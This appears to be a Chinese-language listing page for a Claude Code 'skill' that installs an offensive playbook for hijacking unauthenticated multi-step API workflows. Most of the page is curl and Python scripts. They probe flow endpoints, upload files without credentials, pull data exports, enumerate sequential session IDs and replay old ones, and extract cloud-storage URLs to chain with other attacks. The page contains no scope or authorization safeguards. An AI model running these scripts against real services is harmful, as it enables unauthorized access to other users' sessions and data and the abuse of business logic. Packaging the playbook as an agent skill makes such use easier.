关于 unauth-api-flow-hijack
用于评估可能无需认证即可运行的多步骤 API 工作流的安全测试技能。它指导测试人员梳理流程状态,并检查文件上传、数据导出及会话标识符。
主要功能
- 01发现未认证的工作流端点
- 02梳理多步 API 状态变化
- 03测试无凭据文件上传
- 04检查导出与下载访问
- 05评估会话 ID 重放和枚举
适用场景
- 01审计无需认证的申请或结账流程
- 02检查工作流上传文件是否可公开访问
- 03测试导出内容及其他会话的访问权限
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill unauth-api-flow-hijack安装后在 Claude Code 中输入/unauth-api-flow-hijack确认已加载。
详细介绍
未经身份验证的 API 流程劫持
利用无需在任何步骤进行身份验证、却实现完整业务工作流(面试、申请、结账、入职)的 API 端点。与简单的数据泄露不同,这些流程允许攻击者参与并操纵应用程序的核心业务逻辑:提交表单、上传文件、完成交易和导出数据。整个状态机都可在没有凭据的情况下访问。
适用场景
- API 提供多步骤工作流(start → step1 → step2 → ... → complete)。
- 任何步骤都不需要身份验证令牌、会话 Cookie 或 API 密钥。
- API 会返回可在后续步骤中重复使用的会话标识符(UUID、令牌)。
- 工作流包含文件上传、数据提交或导出功能。
- 错误消息会透露预期的请求格式(验证端点处于活动状态)。
前提条件
- 配备 curl 和 python3 的
terminal。 - 已发现至少一个无需身份验证即可接受 POST 请求的 API 端点。
- 该端点会返回一个标识符(会话 ID、面试 ID、令牌),可传递给后续步骤。
快速检测
# Probe common flow-starting endpoints
for ep in /start /api/start /api/v1/start /begin /init /api/init \
/start-interview /api/interview/start /api/session/start; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /tmp/resp.json -w "%{http_code}" \
-X POST "https://target.com$ep" \
-H "Content-Type: application/json" -d '{}')
if [ "$code" = "200" ] || [ "$code" = "201" ]; then
echo "=== $ep ($code) ==="
cat /tmp/resp.json | python3 -m json.tool 2>/dev/null | head -20
# Extract any returned ID
cat /tmp/resp.json | python3 -c "
import sys,json,re
try:
d=json.load(sys.stdin)
for k in d:
if any(x in k.lower() for x in ['id','token','session','key']):
print(f'{k}: {d[k]}')
except: pass
"
fi
done
操作步骤
阶段 1 — 梳理流程
按照 API 的自然流程找出所有步骤:
import requests, json
BASE = "https://target.com"
session = requests.Session()
# Step 1: Start the flow
r = session.post(f"{BASE}/api/flow/start", json={})
data = r.json()
flow_id = data.get("id") or data.get("sessionId") or data.get("token")
print(f"Started: {flow_id}")
# Step 2-N: Follow the flow by submitting whatever the API asks for
for step in range(1, 20):
# Try generic submissions — the API's error messages will guide you
r = session.post(f"{BASE}/api/flow/submit", json={
"id": flow_id,
"answer": "test response",
"data": {"key": "value"}
})
resp = r.json()
print(f"Step {step}: {resp.get('currentStep', '?')} — {resp.get('message', '')[:80]}")
# Check for completion or blocked paths
if resp.get("complete") or resp.get("error"):
break
# Extract any requirements from the message
if "required" in str(resp).lower() or "invalid" in str(resp).lower():
print(f" Validation: {json.dumps(resp)[:200]}")
阶段 2 — 利用文件上传
如果流程包含文件上传,请测试是否存在不受限制的上传:
# Test file upload without auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
-F "[email protected];type=application/pdf" \
-F "id=$FLOW_ID" | python3 -m json.tool
# The response often returns a public URL for the uploaded file
# Check if uploads are stored in a public bucket
阶段 3 — 利用数据导出
许多流程会在完成时提供导出/下载功能:
# Test export without auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export" -o export.xlsx
file export.xlsx # Check if it's a real file with data
# Try export with different format parameters
for fmt in xlsx csv json pdf xml; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/flow/export?format=$fmt" -o "export.$fmt"
[ -s "export.$fmt" ] && echo "export.$fmt: $(wc -c < export.$fmt) bytes"
done
阶段 4 — 枚举并重放
如果会话 ID 可预测或已暴露,请枚举其他会话:
# Check if IDs are sequential or enumerable
for id in $(seq 1 100); do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
"https://target.com/api/flow/status/$id")
[ "$code" = "200" ] && echo "Active: $id"
done
# Test if old session IDs can be replayed
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/submit" \
-H "Content-Type: application/json" \
-d '{"id": "OLD_SESSION_ID", "answer": "replay test"}'
阶段 5 — 与存储访问组合利用
如果上传内容存储在云存储桶中,请结合云攻击技能:
# Extract storage URLs from upload responses
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/flow/upload" \
-F "[email protected]" \
-F "id=$FLOW_ID" | python3 -c "
import sys, json, re
data = sys.stdin.read()
for url in re.findall(r'https?://[^\s\"<>]+\.(?:supabase\.co|amazonaws\.com|storage\.googleapis\.com)[^\s\"<>]*', data):
print(f'STORAGE_URL: {url}')
"
注意事项
- 速率限制会中断流程。 多步骤 API 通常会按 IP 限制请求速率。请在步骤之间放慢速度(延迟 0.5-1 秒)。
- 状态会过期。 某些流程会在超时后使会话 ID 失效。如果步骤开始失败,请重新启动流程。
- 存在验证关卡。 API 可能要求数据格式有效(电子邮件、电话、文件类型)。请仔细阅读错误消息——它们会明确说明预期格式。
- 并非每一步都使用 POST。 某些流程使用 GET 检查状态、使用 PUT 更新、使用 DELETE 取消。请测试所有方法。
- 导出内容可能为空。 刚启动的流程会生成空导出。测试导出前,请先完成整个流程。
验证
- 在完全无需身份验证的情况下,从头到尾完成整个流程。
- 验证每一步是否都会产生可在后续步骤中看到的状态变化(流程确实在推进)。
- 确认文件上传已存储且可检索(检查返回的 URL)。
- 验证导出是否包含真实数据(检查文件大小和内容)。
- 如果会话 ID 可枚举,请确认能否跨会话访问(访问其他会话的数据)。
相关技能
api-noauth-hunt— 检测缺少身份验证的 API 端点。hardcoded-credential-hunt— 查找可解锁流程中特权步骤的密码。hunt-write-gap— 无需读取身份验证即可接受写入的 POST/PUT 端点。hunt-idor— 利用流程会话 ID 中不安全的直接对象引用。firebase-supabase-attack— 上传内容存储在 Supabase/Firebase 存储时使用。
评论
支持 Markdown